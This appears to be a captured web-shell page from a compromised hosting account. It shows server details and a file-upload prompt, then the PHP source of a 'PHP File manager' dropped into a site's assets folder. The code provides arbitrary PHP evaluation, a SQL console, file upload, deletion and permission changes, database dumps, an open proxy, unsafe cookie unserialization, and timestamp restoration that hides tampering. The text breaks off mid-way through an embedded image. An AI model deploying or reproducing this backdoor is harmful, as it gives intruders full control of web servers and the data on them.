| Server IP : 46.105.57.169 / Your IP : 216.73.216.67 Web Server : Apache System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : verseaumee ( 152031) PHP Version : 8.5.7 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/verseaumee/123click/assets/ |
Upload File : |
PK ! ���� overrides/fr-FR.override.ininu &1i� SR_GUEST_FIRST_NAME="Prénom"PK ! �V� overrides/index.htmlnu &1i� <!DOCTYPE html><title></title>
PK ! ��m�A �A file.phpnu �[��� <!doctype html>
<html>
</html>
<?php
/* PHP File manager ver 1.5 */
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
function find_text_in_files($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_files($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg_ntimes = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg_ntimes .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg_ntimes .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg_ntimes .= __('File updated');
} else $msg_ntimes .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg_ntimes .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Bar-KnOW</title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,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